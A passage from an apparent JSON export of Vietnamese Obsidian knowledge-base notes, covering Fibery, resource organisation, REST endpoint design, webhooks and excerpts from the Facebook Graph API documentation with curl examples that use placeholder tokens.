nhận giải pháp mì ăn liền là đang mang nợ vào người]].\n\nPhải nói là điểm bán hàng độc nhất (unique selling point) của Fibery là sự đặt trọng tâm vào ý tưởng [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]] mà những ERP khác không làm được. Ngay tại trang chủ, Fibery đã tự giới thiệu bản thân là:\n> If you've outgrown Jira, Notion, Airtable, and ClickUp — and are ready to replace them\n\nTức là nó hiểu rất rõ nhược điểm của đối thủ. Nhưng rốt cuộc thì **nó vẫn là một sản phẩm dựng sẵn** không khác gì các đối thủ của nó. Việc Kendy sử dụng nó là vì từ đầu Kendy đã ở trong tình trạng phải xây dựng hệ thống quản lý càng sớm càng tốt, và không có ai có thể hỗ trợ giải đáp các vấn đề về lập trình. Không thể nói nó là giải pháp tạm đủ, mà nó là sự thoả hiệp đỡ tệ hại nhất trong hoàn cảnh hiện tại. Con đường này là con đường bất đắc dĩ lắm mới phải đi. \n\nXem thêm:: [[Nhược điểm của Obsidian và Fibery]]\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:10:00.000Z", + "id": "Ug" + }, + { + "Tiêu đề": "📜Tài nguyên", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên", + "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Dự án": { + "Mã dự án": "C1" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```mermaid\nflowchart LR\nnccv[Nhu cầu công việc] --> nccn[Nhu cầu công nghệ] --> lv[Lĩnh vực] \nnccv --> lv --> gpkt[Giải pháp kỹ thuật] \nnccn --> gpkt --> gpkt\n```\n\n## Tiêu chí lựa chọn\n- Là những nhu cầu *phát sinh* trong quá trình làm việc, như lập trình, sức khoẻ, pháp luật, v.v. Những cái mang tính lý thuyết và thiên về việc nghĩ thì sẽ ở [[⚡Hiểu biết sâu]]\n- Thường đủ phức tạp để các giải pháp làm sẵn hoặc AI không đáp ứng hiệu quả được \n- Thường xuất hiện ở các tổ chức, dự án nhỏ, vốn không có nhiều tiền để thuê ngoài\n- Thường tự làm thì sẽ làm chủ động và hiệu quả hơn là để người khác làm\n- Việc tự học để giải quyết nhu cầu thường tạo cảm giác bị phân tán sự tập trung khỏi công việc quan trọng hơn\n\n## Nhận xét\nViệc có hiểu biết về một lĩnh vực hoặc một giải pháp kỹ thuật sẽ giúp giải quyết các nhu cầu đòi hỏi kiến thức về lĩnh vực/giải pháp kỹ thuật đó. Nên nếu lĩnh vực/giải pháp kỹ thuật ta am hiểu càng có nhiều nhu cầu đổ về nó, thì ta sẽ càng linh hoạt hơn trong tương lai. \n\n## Lưu ý khác\nCác giải pháp kỹ thuật chỉ là những giải pháp thường được dùng, không nhất thiết là giải pháp duy nhất.\n\n[[Việc phân loại thư mục chỉ cần theo đúng thư mục đó, không nhất thiết phải tạo thành một cây thống nhất]]. Thư mục trong [[Nhu cầu công nghệ]] là gom các nhu cầu lại với nhau. Thư mục trong [[Lĩnh vực]] hoặc [[Giải pháp kỹ thuật]] là giải thích thông tin\n\nPhiên bản đồ thị: 0.2. Bài chi tiết sẽ có phiên bản mới nhất cùng với các hoạt động hỗ trợ đáp ứng các nhu cầu này: https://quảcầu.cc/nhucầulậptrình.\n\n[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]] — Bret Victor, Up and Down the Ladder of Abstraction\n\n## Một số vấn đề\nHãy xem lại sơ đồ ở trên:\n```mermaid\nflowchart LR\nnccv[Nhu cầu công việc] --> nccn[Nhu cầu công nghệ] --> lv[Lĩnh vực] \nnccv --> lv --> gpkt[Giải pháp kỹ thuật] \nnccn --> gpkt --> gpkt\n```\n\nXét ghi chú [[Sắp chữ, thiết kế, xuất bản]]. Nó là một lĩnh vực. Theo sơ đồ trên, thì trong ghi chú này không nên tạo liên kết đến ghi chú về nhu cầu công nghệ. Nhưng trong lúc viết thì cảm giác rất muốn để nhu cầu công nghệ là [[WYSIWYM]], và nhu cầu công việc là [[Chèn ảnh, bảng, sơ đồ, mục lục, ghi chú, song ngữ, trích dẫn theo đúng ý]], vì chỉ thấy việc sắp chữ chỉ có cái này.\n\nTuy nhiên, ở một lĩnh vực khác là [[Nhân văn số|nhân văn số]], để ý là khi nghĩ về nó ta không thấy cần để nhu cầu công nghệ là [[Xác định các chủ đề có trong ngữ liệu]], và nhu cầu công việc là [[Nắm bắt xu hướng mạng]] hay [[Nghiên cứu cộng đồng mạng]], vì tự thấy rằng nhân văn số còn nhiều thứ hơn cái này.\n\nTrong [[Giải pháp kỹ thuật]] thì có thể chia lại thư mục theo nhu cầu công việc, công nghệ hoặc lĩnh vực, vì lúc đó các ghi chú thường là rời rạc", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-01T10:04:00.000Z", + "id": "Uh" + }, + { + "Tiêu đề": "Nơi này là nơi nào", + "URL": "https://lậptrình.quảcầu.cc/Nơi này là nơi nào", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "## Tiếp thị số, xử lý dữ liệu và lập trình\nĐây là kho thông tin bổ sung cho kho [Obsidian, quản lý dự án và công cụ nghĩ](https://obsidian.quảcầu.cc/?utm_source=Vault+C+Tiếp+thị+số%2C+xử+lý+dữ+liệu+và+lập+trình+(Trang+chủ)&utm_medium=Vault&utm_campaign=&utm_content=&utm_term=), tập trung vào việc xử lý dữ liệu và lập trình. Nó được sinh ra trong quá trình bọn mình viết [Trấn Kỳ](https://tranky.deno.dev/?utm_source=Vault+C+Tiếp+thị+số%2C+xử+lý+dữ+liệu+và+lập+trình+(Trang+chủ)&utm_medium=Vault&utm_campaign=&utm_content=&utm_term=), và cũng được sử dụng như tài liệu hướng dẫn cho nó. Nếu bạn muốn tìm một nguồn tài liệu để học một cách bài bản thì không nên vào đây. Nhưng nếu mục tiêu của bạn là làm xong những công việc khác, mà để làm được chúng trôi chảy bạn phải học lập trình, và bạn muốn tìm những bài viết thật ngắn nhưng đủ để hiểu khái niệm để còn làm việc được tiếp (như khi bọn mình cần phải học để còn viết xong Trấn Kỳ), thì có thể một số thứ trong đây sẽ hữu ích cho bạn.\n\n> [!IMPORTANT] Những thứ được ghi lại trong đây\n> - **Những khái niệm thiết yếu trong việc xây dựng mental model, đặc biệt là:**\n> - Những khái niệm cơ bản mà nếu không được giải thích thì không thể tự đoán ra được. Công việc ta cần làm đòi hỏi ta phải làm theo những hướng dẫn mặc định rằng ta đã hiểu được chúng rồi, và không cung cấp thêm lời giải thích hoặc xây dựng đủ bối cảnh để ta có thể đoán ý nghĩa của nó. Thường để hiểu được các khái niệm cơ bản này ta sẽ phải quay lại học bài bản, nhưng lúc đó việc học bài bản lại phân tán sự tập trung của ta khỏi công việc cần làm\n> - Các so sánh, ẩn dụ tới một cái gì đó dễ hiểu, dễ liên tưởng hơn\n> - Sự khác biệt, tương phản hoặc tăng tiến về cường độ của những thứ có vẻ na ná nhau hoặc mâu thuẫn nhau. Phân biệt những cái tên khác nhau cho cùng một thứ, và những thứ khác nhau có cùng một cái tên\n> - Những thuật ngữ dùng không được chuẩn xác. Có những cách dùng từ mà với người đã hiểu rồi thì sự thiếu chính xác cũng không thành vấn đề, thậm chí còn tiện lợi, nhưng người mới học thì thấy loạn (các [misnomer](https://en.wikipedia.org/wiki/Misnomer))\n> - Ý đồ thiết kế ([design rationale](https://en.wikipedia.org/wiki/Design_rationale \"Design rationale - Wikipedia\")) để hiểu được điểm mạnh, điểm yếu của các giải pháp khác nhau cho cùng một vấn đề, và vì sao các tác giả của chúng chấp nhận những đánh đổi đó\n> - **Các lỗi thường gặp mà việc tìm hiểu đòi hỏi phải có hiểu biết sâu về vấn đề (pitfall)**\n> - **Những nguồn tốt dể học một cách bài bản**\n> - **Những lĩnh vực, hướng tư duy ít được để ý**\n> \n> Chúng là những thứ mà bạn ước rằng ngày xưa có ai nói với mình như vậy để mình hiểu ra nhanh. Chúng thể hiện được sự vận động, chuyển động của khái niệm.\n\nNhững thứ không được ghi lại:\n- Các giới thiệu chi tiết (về công cụ, ngôn ngữ, khái niệm, v.v.) đặc biệt là nếu có nguồn tốt hơn\n- Những thứ bạn có thể khám phá ra về sau, mà sự khám phá đó không làm bạn nhức đầu\n- Các khái niệm mà chỉ cần nhìn mặt chữ cũng có thể đoán ra được mà không cần tra cứu\n\nNhững mẹo vặt tiện lợi thì có lẽ có cái sẽ được ghi lại, có cái không.\n\nCách sắp xếp thư mục tuỳ vào việc lúc đó não bạn cần gì nhất. Cấu trúc cây thư mục có thể là:\n- Những thứ cùng chủ đề, hoặc nếu khác chủ đề thì cũng hay liên hệ với nhau\n- Những thứ người mới học hay gặp nó\n- Cấu trúc phân loại học thuật \n\nBài chi tiết: [Hướng dẫn đọc code cho người thấy việc biết lập trình là quan trọng nhưng không thể biến nó trở thành ưu tiên cao nhất - Obsidian, quản lý dự án và công cụ nghĩ](https://obsidian.quảcầu.cc/📐%20Dự%20án/Các%20buổi%20đáp%20ứng%20nhu%20cầu%20học%20cách%20sử%20dụng%20công%20cụ%20và%20tư%20duy%20lập%20trình%20cho%20nhu%20cầu%20công%20việc/9%20Blog/Theo%20kỹ%20thuật/Hướng%20dẫn%20đọc%20code%20cho%20người%20thấy%20việc%20biết%20lập%20trình%20là%20quan%20trọng%20nhưng%20không%20thể%20biến%20nó%20trở%20thành%20ưu%20tiên%20cao%20nhất?utm_source=Vault+C+Tiếp+thị+số%2C+xử+lý+dữ+liệu+và+lập+trình+(Trang+chủ)&utm_medium=Vault&utm_campaign=C1+Các+buổi+đáp+ứng+nhu+cầu+học+cách+sử+dụng+công+cụ+và+tư+duy+lập+trình+cho+nhu+cầu+công+việc&utm_content=&utm_term=)\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-08-25T08:39:00.000Z", + "Ngày cập nhật": "2024-08-26T08:36:00.000Z", + "id": "Ui" + }, + { + "Tiêu đề": "Các API thường dùng cho PHP", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API của từng dịch vụ/Facebook/Các API thường dùng cho PHP", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn::\r\n[Danh sách 18 API của Facebook dân lập trình phải biết](https://bizflycloud.vn/tin-tuc/18-danh-sach-api-cua-facebook-dan-lap-trinh-phai-biet-20180424092513969.htm)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Uj" + }, + { + "Tiêu đề": "Facebook API", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API của từng dịch vụ/Facebook/Facebook API", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```dataview\r\nLIST \r\nFROM \"✍️Lập trình/Cloud, webhook, API/Facebook API\" \r\nWHERE file.name!=this.file.name\r\n```", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-11-30T15:50:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Uk" + }, + { + "Tiêu đề": "Fb hạn chế rất nhiều API để tránh việc làm nhái page", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API của từng dịch vụ/Facebook/Fb hạn chế rất nhiều API để tránh việc làm nhái page", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "App chỉ đọc đc những event của page (mà app đó quản lý hoặc có quyền quản lý) th.\r\nVd nếu đc phép như v, nghĩa là fb đag cc cho mình api để làm page nhái, chỉ việc nhập id của page khác vô app, xong tự load events, posts của page đó vô page mình. :grrrDerp:", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Ul" + }, + { + "Tiêu đề": "me/accounts liệt kê tất cả các page mình quản lý", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API của từng dịch vụ/Facebook/me-accounts liệt kê tất cả các page mình quản lý", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn::\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Um" + }, + { + "Tiêu đề": "Non-ASCII or non-English characters in field or database names will be transliterated to English", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API của từng dịch vụ/Fibery/Non-ASCII or non-English characters in field or database names will be transliterated to English", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [hi | Fibery](https://the.fibery.io/@public/User_Guide/Guide/GraphQL-API-254)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Un" + }, + { + "Tiêu đề": "Build service object", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API của từng dịch vụ/Google/Build service object", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Whether you are using simple or authorized API access, you use the [build()](http://googleapis.github.io/google-api-python-client/docs/epy/googleapiclient.discovery-module.html#build) function to create a service object. It takes an API name and API version as arguments. You can see the list of all API versions on the [Supported APIs](https://github.com/googleapis/google-api-python-client/blob/main/docs/dyn/index.md) page. When `build()` is called, a service object will attempt to be constructed with methods specific to the given API.\r\nNguồn:: [start.md](https://github.com/googleapis/google-api-python-client/blob/main/docs/start.md#build-the-service-object)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Uo" + }, + { + "Tiêu đề": "API đưa thông tin là thụ động. Webhook đưa thông tin chủ động", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/API đưa thông tin là thụ động. Webhook đưa thông tin chủ động", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Api là khi mình cần thì mình hỏi nó để nó đưa thông tin. Việc nó đưa thông tin là thụ động, khi nào mình hỏi thì nó mới đưa. Còn webhook là đưa chủ động; nó vừa mới có cái gì mới là đưa luôn cho mình \r\n[The Difference Between APIs and Webhooks Explained By Selling Seasonal Produce on Your Farm – CodeAnalogies Blog](https://blog.codeanalogies.com/2018/03/05/the-difference-between-apis-and-webhooks-explained/)\r\n![[RapidAPI-Comics-eBook.pdf]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Up" + }, + { + "Tiêu đề": "Cloud bản chất là đi thuê local của người khác", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/Cloud bản chất là đi thuê local của người khác", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn::\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Uq" + }, + { + "Tiêu đề": "Cloud, webhook, API", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Cloud, webhook, API\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[2]\r\n```\r\n[Launchpad Online - YouTube](https://www.youtube.com/playlist?list=PLOU2XLYxmsILOIxBRPPhgYbuSslr50KVq)\r\n![Difference between cookies, session and tokens - YouTube](https://www.youtube.com/watch?v=GhrvZ5nUWNg)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-11-30T15:51:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Ur" + }, + { + "Tiêu đề": "Endpoint", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/GraphQL/Endpoint", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "# Endpoint là gì? Lợi ích trong việc phát triển APIs\r\n\r\nIn [QC/Test/Management](https://lcdung.top/category/qctest/)Tags [Action Plan](https://lcdung.top/tag/action-plan/), [endpoint](https://lcdung.top/tag/endpoint/)May 27, 2018\r\n\r\nMục lục [[Click vào để xem](https://lcdung.top/endpoint-la-gi-loi-ich-trong-viec-phat-trien-apis/#)]\r\n\r\n# Endpoint là gì?\r\n\r\nĐể dễ hiểu mình sẽ làm ví dụ về **Endpoint.**\r\n\r\nKhi App gọi đến API URL: `https://abc.com/foo/bar` và lúc này ta gọi `/foo/bar` là Endpoint.\r\n\r\n**Endpoint** là một phần quan trọng trong quá trình phát triển API\r\n\r\n# Định nghĩa Hàm (Tạo Action Plan)\r\n\r\nCông việc đầu tiên của bạn là nghĩ về những thứ mà API của bạn sẽ cung cấp. Đó có thể là 1 danh sách các hàm CRUD (Create, Read, Update, Delete) thao tác với resourece của bạn. Để giải thích rõ hơn thì đây chính là 1 danh sách các “Action” cần phải làm với mỗi resource: \r\n**Ví dụ:**\r\n\r\nBạn có một Resouce là Người dùng và bạn cần 1 danh sách hàm như sau: \r\n**Users:**\r\n\r\n- Create\r\n- Read\r\n- Update\r\n- Delete\r\n- List\r\n\r\n_Công việc này gần giống với TDD tức là bạn hình dung ra các hàm cần viết và viết các đoạn mã giả giả sử rằng hàm này và class này đã tồn tại rồi đó, sau đó bạn mới định nghĩa chúng._\r\n\r\nNếu API của bạn có chức năng tìm kiếm theo tên hay mã số người dùng thì công việc đó ta liệt vào List nhé: \r\n**Users:**\r\n\r\n- Create\r\n- Read\r\n- Update\r\n- Delete\r\n- List(Name,ID)\r\n\r\nThêm các Params vào có thể tốt và dễ hình dung tuy nhiên không nên thêm quá nhiều và dư như thêm tất cả các thuộc tính vào Create(name,id,age,…) là không nên.\r\n\r\n# Lý thuyết Restful\r\n\r\nChuyển một Action Plan thành một Danh sách Endpoint thì cần những hiểu biết căn bản về RestFul API và các “Best Practice” trong việc đặt tên. Tất nhiên thì mỗi công ty, mỗi nhóm có chuẩn đặt tên khác nhau và cũng chả thể so sánh được cái nào là tốt nhất. Tuy nhiên mình sẽ nói về cái phổ biến mà mình nghĩ là OKie nhất cho các bạn. \r\nRestFul thì gồm nhiều tuy nhiên có 4 cái căn bản sau: \r\n**GET – POST- PUT -DELETE**\r\n\r\n## 1. GET\r\n\r\n- `GET /resources` – Tìm một danh sách records từ resource có thể có phân trang thì tốt nhất hoặc lấy toàn bộ records\r\n- `GET /resources/X` – Chỉ cần lấy Record X, ví dụ /users/thanhtriphap -> Lấy Info mình ra nè\r\n- GET /resources/X,Y,Z – Người dùng muốn tìm kiếm trên nhiều điều kiện hay 1 điều kiện mà nhiều giá trị\r\n- GET /places/X/users – Lấy tất cả người dùng đang sinh sống trong vùng X\r\n- GET /users/X/places – Lấy tất cả các nơi mà người dùng này đang hay đã ở\r\n- GET /users/X/places/Y – Tìm kiếm user theo điều kiện X và Places theo điều kiện Y\r\n\r\n**[Danger Zone] Auto Increment**\r\n\r\n> Trong quá trình học trong trường các bạn thường xài ID dạng Auto-Increment. Tuy nhiên trong thực tế nếu API của ta để như vậy thì người ta có thể biết được số lượng Resource mà ta đang có điều này rất có ích với đối thủ đó chứ. \r\n> Biện pháp là ta sử dụng UUID – Các bạn có thể tìm UUID cho PHP, Ruby hay Python và các Package hỗ trợ Gen UUID trên GOOGLE.\r\n\r\n## 2. DELETE\r\n\r\n- DELETE /users/X – Xóa một người dùng\r\n- DELETE /users/X,Y,Z – Xóa một vài dòng dữ liệu\r\n- DELETE /users – Xóa tất cả các dòng dữ liệu (**Không nên**)\r\n- DELETE /users/X/image – Xóa image của người dùng X\r\n- DELETE /users/X/images – Xóa một loạt các hình ảnh của người dùng X\r\n\r\n## 3. POST và PUT\r\n\r\nVề mặt lý thuyết POST dùng tạo 1 dòng dữ liệu mới còn PUT thì dùng cập nhật một dòng dữ liệu đã có. Khác nhau là vậy tuy nhiên trên nguyên tắc thiết kế thì 2 hành động này như nhau mà thôi có nghĩa là những gì POST làm được thì PUT làm được và ngược lại. \r\nTuy nhiên, tất nhiên phải có sự khác nhau căn bản để dùng chứ. Chúng ta xem khái niệm về \r\n**idempotent :** `Có nghĩa là khi mình gọi đến resource dùng PUT n lần thì behavior vẫn là như nhau, dữ liệu thay đổi của lần thứ n vẫn giống như lần gọi đầu tiên`\r\n\r\nNghe có vẻ hơi khó hiểu đúng không, thôi ví dụ cho dễ nhé:\r\n\r\n- Giả sử mỗi sản phẩm chúng ta có 1 hình ảnh đại diện thôi (Chỉ 1 thôi nhé) và mỗi lần ta thay đổi nó tức là thay hình đại diện cho sản phẩm thì dữ liệu vẫn như cũ (Như cũ ở đây có nghĩa là không làm phát sinh thêm dòng nào mới nhé): **PUT /products/ao-so-mi-tay-dai-MB2331/image**\r\n- Cũng ví dụ trên tuy nhiên sản phẩm lại có nhiều hình ảnh thì mỗi lần ta thêm thì có 1 dòng dữ liệu mới nên ta xài POST vì dữ liệu thay đỗi mà: **POST /products/quan-tay/images**\r\n\r\n## 4. Danh từ số nhiều, số ít hay Cả hai\r\n\r\nMột vài Developer thì dùng danh từ số ít một số lại xài số nhiều. \r\nVí dụ:\r\n\r\n- GET /user/1 – Trả về user có ID là 1\r\n- GET /user – Thắc mắc user nào sẽ được trả về hay về hết\r\n\r\nDo đó mình thường xài **số nhiều** cho các Endpoints:\r\n\r\n- GET /users/1 – Trả về user có ID là 1\r\n- GET /users?limit=5 – Trả về 5 user cho một lượt\r\n\r\n## 5. Danh từ hay động từ\r\n\r\nTrước đây khi POST cái gì đó một vài Dev thường dùng động từ:\r\n\r\n- POST /SendMeAMessage\r\n- POST /users/5/send-message\r\n\r\nTuy nhiên hình như hơi có vấn đế, chúng ta chỉ cần 1 động từ duy nhất trong đây là POST PUT hay GET … và URL là **danh từ** chứ không phải động từ. Một vài ví dụ sau:\r\n\r\n- POST /users/5/message – Gửi một Message tới User 5\r\n\r\nMột cách tuyệt vời hơn chúng ta có thể:\r\n\r\n- POST /users/thanhtriphap/message\r\n- PUT /users/thanhtriphap/message/wsis0n\r\n\r\n# Xây dựng EndPoints\r\n\r\nSau khi hoàn thành công việc định hình GET, PUT, POST … cho mỗi Action trong Action Plan việc tiếp theo chính là Đặt mỗi Resource trong 1 controller trong đó có các hàm trong Action Plan:\r\n\r\n- UsersController\r\n- CategoriesController\r\n- PlacesController\r\n\r\nVà hoàn thành việc định tuyến Routing. \r\nVí dụ trên **Laravel Framewok**\r\n\r\n[![alt text](https://s3-ap-southeast-1.amazonaws.com/kipalog.com/I5JPY.png_y9c6c97y15)](https://s3-ap-southeast-1.amazonaws.com/kipalog.com/I5JPY.png_y9c6c97y15)\r\n\r\n# Kết luận\r\n\r\nLàm bất cứ điều gì nếu chúng ta định hình rõ những công việc sẽ phải làm giúp chúng ta dễ dàng hơn rất nhiều trong công việc sau này. Việc tạo ra các Endpoints là cách để Back End và Develper Mobile hay Front End làm việc với nhau và nâng cao hiệu quả công việc.\r\n\r\nNguồn:: [Endpoint là gì? Lợi ích trong việc phát triển APIs - LCDUNG](https://lcdung.top/endpoint-la-gi-loi-ich-trong-viec-phat-trien-apis/)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Us" + }, + { + "Tiêu đề": "Node là một vật thể có ID riêng. Edge là vật thể liên kết giữa các node. Field là thuộc tính của vật thể", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/GraphQL/Node là một vật thể có ID riêng. Edge là vật thể liên kết giữa các node. Field là thuộc tính của vật thể", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Node với edge được gọi chung là endpoint]]\r\nnodes to get data about a specific object, use edges to get collections of objects on a single object, and use fields to get data about a single object or each object in a collection\r\n## Nodes\r\n\r\nA node is an individual object with a unique ID. For example, there are many User node objects, each with a unique ID representing a person on Facebook. Pages, Groups, Posts, Photos, and Comments are just some of the nodes of the Facebook Social Graph.\r\n\r\nThe following cURL example represents a call to the User node.\r\n\r\n```\r\ncurl -i -X GET \\\r\n \"https://graph.facebook.com/USER-ID?access_token=ACCESS-TOKEN\"\r\n```\r\n\r\nThis request would return the following data by default, formatted using JSON:\r\n\r\n```\r\n{\r\n \"name\": \"Your Name\",\r\n \"id\": \"YOUR-USER-ID\"\r\n}\r\n```\r\n\r\n### Node Metadata\r\n\r\nYou can get a list of all fields, including the field name, description, and data type, of a node object, such as a User, Page, or Photo. Send a `GET` request to an object ID and include the `metadata=1` parameter:\r\n\r\n```\r\ncurl -i -X GET \\\r\n \"https://graph.facebook.com/USER-ID?\r\n metadata=1&access_token=ACCESS-TOKEN\"\r\n```\r\n\r\nThe resulting JSON response will include the `metadata` property that lists all the supported fields for the given node:\r\n\r\n```\r\n{\r\n \"name\": \"Jane Smith\",\r\n \"metadata\": {\r\n \"fields\": [\r\n {\r\n \"name\": \"id\",\r\n \"description\": \"The app user's App-Scoped User ID. This ID is unique to the app and cannot be used by other apps.\",\r\n \"type\": \"numeric string\"\r\n },\r\n {\r\n \"name\": \"age_range\",\r\n \"description\": \"The age segment for this person expressed as a minimum and maximum age. For example, more than 18, less than 21.\",\r\n \"type\": \"agerange\"\r\n },\r\n {\r\n \"name\": \"birthday\",\r\n \"description\": \"The person's birthday. This is a fixed format string, like `MM/DD/YYYY`. However, people can control who can see the year they were born separately from the month and day so this string can be only the year (YYYY) or the month + day (MM/DD)\",\r\n \"type\": \"string\"\r\n },\r\n...\r\n```\r\n\r\n[](https://developers.facebook.com/docs/graph-api/overview#)\r\n\r\n## /me\r\n\r\nThe `/me` node is a special endpoint that translates to the object ID of the person or Page whose access token is currently being used to make the API calls. If you had a User access token, you could retrieve a User's name and ID by using:\r\n\r\n```\r\ncurl -i -X GET \\\r\n \"https://graph.facebook.com/me?access_token=ACCESS-TOKEN\"\r\n```\r\n\r\n[](https://developers.facebook.com/docs/graph-api/overview#)\r\n\r\n## Edges\r\n\r\nAn edge is a connection between two nodes. For example, a User node can have photos connected to it, and a Photo node can have comments connected to it. The following cURL example will return a list of photos a person has published to Facebook.\r\n\r\n```\r\ncurl -i -X GET \\\r\n \"https://graph.facebook.com/USER-ID/photos?access_token=ACCESS-TOKEN\"\r\n```\r\n\r\nEach ID returned represents a Photo node and when it was uploaded to Facebook.\r\n\r\n```\r\n {\r\n \"data\": [\r\n {\r\n \"created_time\": \"2017-06-06T18:04:10+0000\",\r\n \"id\": \"1353272134728652\"\r\n },\r\n {\r\n \"created_time\": \"2017-06-06T18:01:13+0000\",\r\n \"id\": \"1353269908062208\"\r\n }\r\n ],\r\n}\r\n```\r\n\r\n[](https://developers.facebook.com/docs/graph-api/overview#)\r\n\r\n## Fields\r\n\r\nFields are node properties. When you query a node, or an edge, it returns a set of fields by default, as the examples above show. However, you can specify which fields you want returned by using the `fields` parameter and listing each field. This overrides the defaults and returns only the fields you specify, and the ID of the object, which is always returned.\r\n\r\nThe following cURL request includes the `fields` parameter and the User's name, email, and profile picture.\r\n\r\n```\r\ncurl -i -X GET \\\r\n \"https://graph.facebook.com/USER-ID?fields=id,name,email,picture&access_token=ACCESS-TOKEN\"\r\n```\r\n\r\n#### Data Returned\r\n\r\n```\r\n{\r\n \"id\": \"USER-ID\",\r\n \"name\": \"EXAMPLE NAME\",\r\n \"email\": \"EXAMPLE@EMAIL.COM\",\r\n \"picture\": {\r\n \"data\": {\r\n \"height\": 50,\r\n \"is_silhouette\": false,\r\n \"url\": \"URL-FOR-USER-PROFILE-PICTURE\",\r\n 